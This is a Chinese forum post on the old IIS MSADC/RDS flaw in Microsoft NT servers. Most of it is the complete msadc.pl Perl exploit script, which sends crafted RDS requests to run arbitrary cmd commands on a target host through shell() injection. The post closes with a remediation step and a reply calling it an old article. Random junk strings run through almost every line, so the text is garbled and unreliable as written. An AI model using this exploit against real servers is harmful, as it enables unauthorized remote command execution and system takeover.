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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) =XA;[PVx:#  
PDJr<E?  
涉及程序: xHL( !P F  
Microsoft NT server d"}k! 0m  
-G}[AkmS  
描述: e@Fo^#ImDx  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 lD)%s!  
Rp.Sj{<2  
详细: R)_%i<nq\  
如果你没有时间读详细内容的话,就删除: fol,xMc&  
c:\Program Files\Common Files\System\Msadc\msadcs.dll tNO-e|~'  
有关的安全问题就没有了。 HJLu'KY }  
M2PAy! J  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `NCwK6/i  
od IV:(  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 d/PiiiFf,  
关于利用ODBC远程漏洞的描述,请参看: U{7w#>V .  
~HTmO;HNf"  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xf<at->  
o< |cA5f\  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 I8wXuIN_  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {@eJtF+2  
1C< uz29  
这里不再论述。 u[@l~gwL  
Eo{"9j\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 3.|S  
.<jr0,i  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset YPU*@l>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 5:pM 4J  
QKyo`g7  
pf1BN@ t  
#将下面这段保存为txt文件,然后: "perl -x 文件名" U &C!}  
o|>'h$  
#!perl Sh/T,  
# cc,^6[OH@  
# MSADC/RDS 'usage' (aka exploit) script FG6h,7+  
# PPb7%2r  
# by rain.forest.puppy D?;"9e%  
# ~Mx!^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :}5j##N  
# beta test and find errors! 6N!Q:x^4(T  
*^g:P^4  
use Socket; use Getopt::Std; )Q1"\\2j0  
getopts("e:vd:h:XR", \%args); 6g 5#TpCh  
^A!Qc=#z}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ;T"zV{;7BR  
HBy[FYa4  
if (!defined $args{h} && !defined $args{R}) { 1,6}_MA  
print qq~ @W s*QTlV  
Usage: msadc.pl -h <host> { -d <delay> -X -v } n,jKmA  
-h <host> = host you want to scan (ip or domain) SG6kud\b  
-d <seconds> = delay between calls, default 1 second &|Bc7+/P  
-X = dump Index Server path table, if available A#Iyb){Y  
-v = verbose [BWNRC1  
-e = external dictionary file for step 5 -wp|RD,}(  
Lhl]g^SN  
Or a -R will resume a command session BUWqI dg  
0+?7EL~  
~; exit;} h}*/Ge]aM  
/j4P9y^]=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ".W8)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} <vUbv   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Z3#P,y9@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); U}6B*Xx'  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6ys &zy  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } M.x=<:upp  
gnFr}L&j  
if (!defined $args{R}){ $ret = &has_msadc; C9~52+S  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4,sJE2"[9  
xAK6pDp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T^Y([23  
. "cmd /c "; 6N",- c  
$in=<STDIN>; chomp $in; =8t]\Y?  
$command="cmd /c " . $in ; !B\R''J5  
|bq$xp  
if (defined $args{R}) {&load; exit;} 19HM])Zw\  
N9jH\0nG  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ! ='rc-E  
&try_btcustmr; Hc>m;[M)l  
wj,:"ESb4  
print "\nStep 2: Trying to make our own DSN..."; **$LR<L  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <L"GqNuRQ  
byLft 1  
print "\nStep 3: Trying known DSNs..."; E;Y;z  
&known_dsn; M@`;JjtSA  
&^#VN%{  
print "\nStep 4: Trying known .mdbs..."; 2>cGH7EBD  
&known_mdb; M[mF8Zf  
*QwY]j%^  
if (defined $args{e}){ eCqHvMp  
print "\nStep 5: Trying dictionary of DSN names..."; b\3Oyp>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :<hXH^n  
PK{acen  
print "Sorry Charley...maybe next time?\n"; Bk*F_>X"  
exit; g'H$R~ag  
`+o 2DA)#(  
############################################################################## [U5\bX@$  
{U1?Et#  
sub sendraw { # ripped and modded from whisker *VFf.aPwYi  
sleep($delay); # it's a DoS on the server! At least on mine... r[BVvX/,F  
my ($pstr)=@_; qv]}$WU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S 5/R_5  
die("Socket problems\n"); /W>iJfx  
if(connect(S,pack "SnA4x8",2,80,$target)){ pi Z[Y 5OE  
select(S); $|=1; ~io szX  
print $pstr; my @in=<S>; E^.nc~  
select(STDOUT); close(S); v.pBX<  
return @in; F<qz[,]|-j  
} else { die("Can't connect...\n"); }} }s(N6a&(  
-=~| ."O  
############################################################################## q(`/Vo4g(  
&3bx `C  
sub make_header { # make the HTTP request lu<xv  
my $msadc=<<EOT }T&iewk  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 a0D%k:k5  
User-Agent: ACTIVEDATA k@/sn (x  
Host: $ip d@5[B0eH  
Content-Length: $clen -_1>C\h"  
Connection: Keep-Alive GBRa.;Kk  
l)Crc-:}4j  
ADCClientVersion:01.06 .P[ _<8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 n ~shK<!C  
\l9qt5rS  
--!ADM!ROX!YOUR!WORLD! wVEm:/;z&  
Content-Type: application/x-varg n)^i/ nXb'  
Content-Length: $reqlen hw= Ft4L  
L)@?e?9  
EOT <Bw^!.jAF  
; $msadc=~s/\n/\r\n/g; (O.d>  
return $msadc;} W g02 A\  
3'cE\u  
############################################################################## ]pH-2_  
%M7` Hwu  
sub make_req { # make the RDS request k'Sp.  
my ($switch, $p1, $p2)=@_; |wH5sjT  
my $req=""; my $t1, $t2, $query, $dsn; ,*7 (%k^`  
:lf+W  
if ($switch==1){ # this is the btcustmr.mdb query rA%usaW  
$query="Select * from Customers where City=" . make_shell(); -o $QS,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . '}B+r@YCN  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Q9Kve3u-i  
mi,E-  
elsif ($switch==2){ # this is general make table query P<M?Qd 1.  
$query="create table AZZ (B int, C varchar(10))"; $W!!wN=B  
$dsn="$p1";} kBD>-5Sn_T  
$5ak_@AC  
elsif ($switch==3){ # this is general exploit table query P)Rh=U  
$query="select * from AZZ where C=" . make_shell(); j g8fU  
$dsn="$p1";} d@XV:ae  
+n{#V;J  
elsif ($switch==4){ # attempt to hork file info from index server gcdlT7F)b-  
$query="select path from scope()"; CGY]r.O*  
$dsn="Provider=MSIDXS;";} -f%'  
q*_/to  
elsif ($switch==5){ # bad query &#!4XOyB  
$query="select"; \s=t|Wpu2  
$dsn="$p1";} 7UVzp v  
]:Ns f|C0  
$t1= make_unicode($query); mOy^vMa  
$t2= make_unicode($dsn); cx&>#8s&  
$req = "\x02\x00\x03\x00"; Ye2 {f"F  
$req.= "\x08\x00" . pack ("S1", length($t1)); F'4w;-ax  
$req.= "\x00\x00" . $t1 ; Y }$/e  
$req.= "\x08\x00" . pack ("S1", length($t2)); a yCY~=i  
$req.= "\x00\x00" . $t2 ; "Zl5<  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 5,_u/5Y4  
return $req;} [|(N_[E|6  
Z4S!NDMm~  
############################################################################## &PYK8}pBk3  
8ZM&(Lz7u  
sub make_shell { # this makes the shell() statement Cd,jDPrw  
return "'|shell(\"$command\")|'";} Y9uC&/_C  
e1%/26\  
############################################################################## &O9 |#YUq  
W+UfGk}A  
sub make_unicode { # quick little function to convert to unicode ^(vs.U^U<  
my ($in)=@_; my $out; fVF2-Rh=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } yeXx',]a  
return $out;} q"\Z-D0B4  
,]46I.]  
############################################################################## Qw-~>d  
"P 7nNa  
sub rdo_success { # checks for RDO return success (this is kludge) sH{4Y-J  
my (@in) = @_; my $base=content_start(@in); &;^YBW:I  
if($in[$base]=~/multipart\/mixed/){ yE:+Lo`>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} LAB=Vp1y3[  
return 0;} ,]9P{k]O  
,}3 'I [  
############################################################################## O(fM?4w  
fmU {  
sub make_dsn { # this makes a DSN for us a1EOJ^}0  
my @drives=("c","d","e","f"); vdAr|4^qB  
print "\nMaking DSN: "; ,:%CB"J  
foreach $drive (@drives) { $"+djI?E9  
print "$drive: "; $xzAv{  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . b$N 2z  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" dP3CG8w5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Q# ~Q=T'<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; C _'%N lJ'  
return 0 if $2 eq "404"; # not found/doesn't exist 4ezEW|S  
if($2 eq "200") { zQcL|  (N  
foreach $line (@results) { Y~c|hfL  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &XIt5<$~R  
} return 0;} |Luqoa  
8EW_V$>R  
############################################################################## a =J^  
*=8JIs A>!  
sub verify_exists { n6wV.?8  
my ($page)=@_; \y97W&AN  
my @results=sendraw("GET $page HTTP/1.0\n\n"); gH12[Us'`  
return $results[0];} /s x@$cvW  
JZ)RGSG i  
############################################################################## )#?"Gjf~  
|n2qVR,  
sub try_btcustmr { ) pzy  
my @drives=("c","d","e","f"); Fq0i`~L~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); dMh:ulIY>  
3eb%OEMYk  
foreach $dir (@dirs) { Si_ _8D  
print "$dir -> "; # fun status so you can see progress Z"/p,A9W9|  
foreach $drive (@drives) { i6^twK)j  
print "$drive: "; # ditto }JF13beU  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 3 }duG/  
$reqlenlen=length( "$reqlen" ); \nXtH}9ZF  
$clen= 206 + $reqlenlen + $reqlen; =$u! 59_dE  
<CS(c|7  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); l{5IUuUi  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} "sS}N%!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} bGN:=Y'  
F^WP<0C  
############################################################################## B^1>PE  
Vx$\hcG  
sub odbc_error { WJQvB=D&  
my (@in)=@_; my $base; K18}W*$ d  
my $base = content_start(@in); bWH&P/>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this C6VLy x  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WA5&# kg\  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /NLui@|R  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h{CL{>d  
return $in[$base+4].$in[$base+5].$in[$base+6];} =#;3Q~:Jl^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \K5DOM "#  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . nL5cK:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} C uFSeRe  
UbXh,QEG*  
############################################################################## {&cJDqz5=  
^NRl//  
sub verbose { &q3"g*q  
my ($in)=@_; FEW14 U'O  
return if !$verbose;  DGRXd#  
print STDOUT "\n$in\n";} )B T   
T/b6f;t-s  
############################################################################## 6"wlg!k8  
/z4$gb7Y  
sub save { WYHQ?  
my ($p1, $p2, $p3, $p4)=@_; X.OD`.!>  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; q8FTi^=Kb  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 0pK=o"^?@  
close OUT;} T5R-B=YWu  
;ic3).H  
############################################################################## |LRedD7n  
{ d=^}-^   
sub load { iJ-23_D  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #H)vK"hF  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); tClg*A;|B  
@p=<IN>; close(IN); lNy.g{2f<m  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;!=G   
$target= inet_aton($ip) || die("inet_aton problems"); ,$@bE  
print "Resuming to $ip ..."; .7Dtm<K#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; lsJSYJG&  
if($p[1]==1) { LzG%Z1`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Z~AO0zUKY  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; AS!?q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); n4s+>|\M  
if (rdo_success(@results)){print "Success!\n";} ];VA!++  
else { print "failed\n"; verbose(odbc_error(@results));}} Q! o'}nA  
elsif ($p[1]==3){ -C;^ 3R[ O  
if(run_query("$p[3]")){ m!gz3u]rN  
print "Success!\n";} else { print "failed\n"; }} zkt+7,vI  
elsif ($p[1]==4){ aAZZ8V  
if(run_query($drvst . "$p[3]")){ KxI&G%z  
print "Success!\n"; } else { print "failed\n"; }} n3T>QgK  
exit;} iNWw;_|1  
F5LuSy+v  
############################################################################## i@C].X  
]}Mj)J"m  
sub create_table { US+Q~GTA  
my ($in)=@_; 'vVQg  
$reqlen=length( make_req(2,$in,"") ) - 28; bENdMH";  
$reqlenlen=length( "$reqlen" ); bZ?v-fn\D,  
$clen= 206 + $reqlenlen + $reqlen; +M./@U*g  
my @results=sendraw(make_header() . make_req(2,$in,"")); c#XXp"7k2  
return 1 if rdo_success(@results); !-z'2B*:^  
my $temp= odbc_error(@results); verbose($temp); 1A?W:'N  
return 1 if $temp=~/Table 'AZZ' already exists/; mf A{3  
return 0;} tGD6AI1"I  
i{Uc6 R6  
############################################################################## &Q%zl9g(g  
qt"G[9;  
sub known_dsn { k|v3.< -  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go  j?A/#  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &D >G8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Nu0C;B66  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [8P:?nDDL  
}v@dL3{f  
foreach $dSn (@dsns) { T]R|qlZ  
print "."; 5/q}`T9i%7  
next if (!is_access("DSN=$dSn")); cCSs  
if(create_table("DSN=$dSn")){ 5Iy|BRU(%  
print "$dSn successful\n"; 2n,*Nd`  
if(run_query("DSN=$dSn")){ ~De"?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +s"hqm  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,QOG!T4  
+cD<:"L'g  
##############################################################################  Qn^'  
dl.N.P7}4  
sub is_access { }^4Xv^dW>g  
my ($in)=@_; P]<4R:yb  
$reqlen=length( make_req(5,$in,"") ) - 28; d)"3K6s|5  
$reqlenlen=length( "$reqlen" ); 6~0$Z-);(  
$clen= 206 + $reqlenlen + $reqlen; Z_PNI#h*  
my @results=sendraw(make_header() . make_req(5,$in,"")); bADnW4N`6;  
my $temp= odbc_error(@results); 6h>wt-tRC  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); TIx|L  
return 0;} [=x[ w70  
Jz?j[  
############################################################################## \(~y?l  
v:EB*3n5  
sub run_query { :Gv1?M  
my ($in)=@_; ~fBtQGdX  
$reqlen=length( make_req(3,$in,"") ) - 28; W KQ^NEqr3  
$reqlenlen=length( "$reqlen" ); =Ee&da^MB  
$clen= 206 + $reqlenlen + $reqlen; ~ {?_p@&n  
my @results=sendraw(make_header() . make_req(3,$in,"")); /Y*WBTV'  
return 1 if rdo_success(@results); 7@#>b E6  
my $temp= odbc_error(@results); verbose($temp); h&|[eZt?F  
return 0;} HvUxsdT  
YSs)HV.8  
############################################################################## 062,L~&E  
"MxnFeLM#  
sub known_mdb { Okgv!Nt8)A  
my @drives=("c","d","e","f","g"); w _u\pa  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rJd,Rdt.  
my $dir, $drive, $mdb; NnO~dRx{  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; yxonRV$&  
LO'**}vm  
# this is sparse, because I don't know of many -Q2, "  
my @sysmdbs=( "\\catroot\\icatalog.mdb", cy*?&~;  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *EI6dD"  
"\\system32\\certmdb.mdb", @(l^]9(V\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% |D'4uN8\  
lNNv|YiL  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", sD<a+Lw}x  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ZjT,pOSyb  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", []x#iOnC&  
"\\cfusion\\cfapps\\security\\realm_.mdb", oYHj~t  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", XoXM ^*Vk  
"\\cfusion\\database\\cfexamples.mdb", @<<<C?CTv  
"\\cfusion\\database\\cfsnippets.mdb", K*\' .~[6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;1#H62Z*  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6~OoFm5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", D>|H 2  
"\\cfusion\\database\\smpolicy.mdb", E"\/ M  
"\\cfusion\\database\cypress.mdb", ~Xr=4V:a+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", zFfoqb#*g  
"\\website\\cgi-win\\dbsample.mdb", R= a|Blp  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", liEPCWl&  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 2`.cK 3  
); #these are just M-\Y"]sW  
foreach $drive (@drives) { D@C-5rmq  
foreach $dir (@dirs){ $r@ =*(  
foreach $mdb (@sysmdbs) { R[Ll59-  
print "."; :#2Bw]z&z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ BMhy=+\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [vge56h  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ , l%C X.9  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; c_\YBe]wJ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ;V@WtZv  
%lL.[8r|  
foreach $drive (@drives) { ]d55m/(   
foreach $mdb (@mdbs) { !P ~_Dl2d  
print "."; EQ2#/>  
if(create_table($drv . $drive . $dir . $mdb)){ PiYY6i0  
print "\n" . $drive . $dir . $mdb . " successful\n"; ckV`OaRw4  
if(run_query($drv . $drive . $dir . $mdb)){ oV)~@0B&0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0YaA`  
} else { print "Something's borked. Use verbose next time\n"; }}}} sfLMk E  
} 4f@o mAM  
^<;V]cY`  
############################################################################## [N1hWcfvd  
)_a~} U]=.  
sub hork_idx { nJbtS#`G4  
print "\nAttempting to dump Index Server tables...\n"; _4TH4~cY  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; qd+h$ "p  
$reqlen=length( make_req(4,"","") ) - 28; _,q)hOI  
$reqlenlen=length( "$reqlen" ); AoY -\E  
$clen= 206 + $reqlenlen + $reqlen; X7[^s $VK  
my @results=sendraw2(make_header() . make_req(4,"","")); YNYx>Ue  
if (rdo_success(@results)){ og4UhP^UET  
my $max=@results; my $c; my %d; wNq;;AJ$  
for($c=19; $c<$max; $c++){ &lR 6sb\  
$results[$c]=~s/\x00//g; +U_=*"@|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; El<]b7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Rfn9s(m  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {zQS$VhXr  
$d{"$1$2"}="";} &-s'BT[PGq  
foreach $c (keys %d){ print "$c\n"; } ^?$WVB  
} else {print "Index server doesn't seem to be installed.\n"; }} vK(i 9>;7  
ur*T%b9&  
############################################################################## G,TM-l_uw  
qe#P?[  
sub dsn_dict { qs|mj}?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); . 7zK@6i  
while(<IN>){ |M8WyW  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; A"`foI$0  
next if (!is_access("DSN=$dSn")); b'P eH\h{  
if(create_table("DSN=$dSn")){ w0|gG+x jS  
print "$dSn successful\n"; 79nG|Yj|\  
if(run_query("DSN=$dSn")){ {)DHH:n  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6Z#\CixG  
print "Something's borked. Use verbose next time\n";}}} $f,n8]  
print "\n"; close(IN);} Sa\!*e_sN  
)v]/B+  
############################################################################## dp++%:j  
qZ]pq2G  
sub sendraw2 { # ripped and modded from whisker |"XPp!_uN  
sleep($delay); # it's a DoS on the server! At least on mine... UUF ;p2{f  
my ($pstr)=@_; ub7zA!%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6UevpDB  
die("Socket problems\n"); df*5,NV'-*  
if(connect(S,pack "SnA4x8",2,80,$target)){ iQ4);du  
print "Connected. Getting data"; H(2!1?N+  
open(OUT,">raw.out"); my @in; ".SJ~`S  
select(S); $|=1; print $pstr; ;GVV~.7/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} V<D.sd<  
close(OUT); select(STDOUT); close(S); return @in; #Pw2Q  
} else { die("Can't connect...\n"); }} KQ `qpX^d  
:`E8Z:-R  
############################################################################## $p#%G#T  
Gq_-Val]"  
sub content_start { # this will take in the server headers ` L >  
my (@in)=@_; my $c; 76V 6cI=+  
for ($c=1;$c<500;$c++) { cUqke+!  
if($in[$c] =~/^\x0d\x0a/){ H_EB1"C;\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  |?Frj  
else { return $c+1; }}} 3ia^\ jw  
return -1;} # it should never get here actually ?I/qE='*  
z>jUR,!GT  
############################################################################## 53c0 E  
?|WoIV.  
sub funky { !iH-#B-  
my (@in)=@_; my $error=odbc_error(@in); 4&xZ]QC)O5  
if($error=~/ADO could not find the specified provider/){  DVah  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; AgOp.~*Z~V  
exit;} 5~Cakd ]>  
if($error=~/A Handler is required/){ I#m-g-J  
print "\nServer has custom handler filters (they most likely are patched)\n"; A 6OGs/:&  
exit;} Na$Is'F &p  
if($error=~/specified Handler has denied Access/){ b8$gx:aJ>$  
print "\nServer has custom handler filters (they most likely are patched)\n"; CSGz3uC2D  
exit;}} ^Y u6w\QM  
nt;haeJ  
############################################################################## S{FROC~1R  
QYa(N[~a  
sub has_msadc { '; =f  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); wj[\B*$?  
my $base=content_start(@results); GiP`dtK   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [01.\eh  
return 0;} ]Pry>N3G5  
h@:TpE+N  
######################## Ct2j ZqCDo  
#O$  
AX?fuDLs  
解决方案: I8+~ &V}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?pYKZg /c  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {K4+6p  
#6AFdNy  
拿出来充数 哈哈
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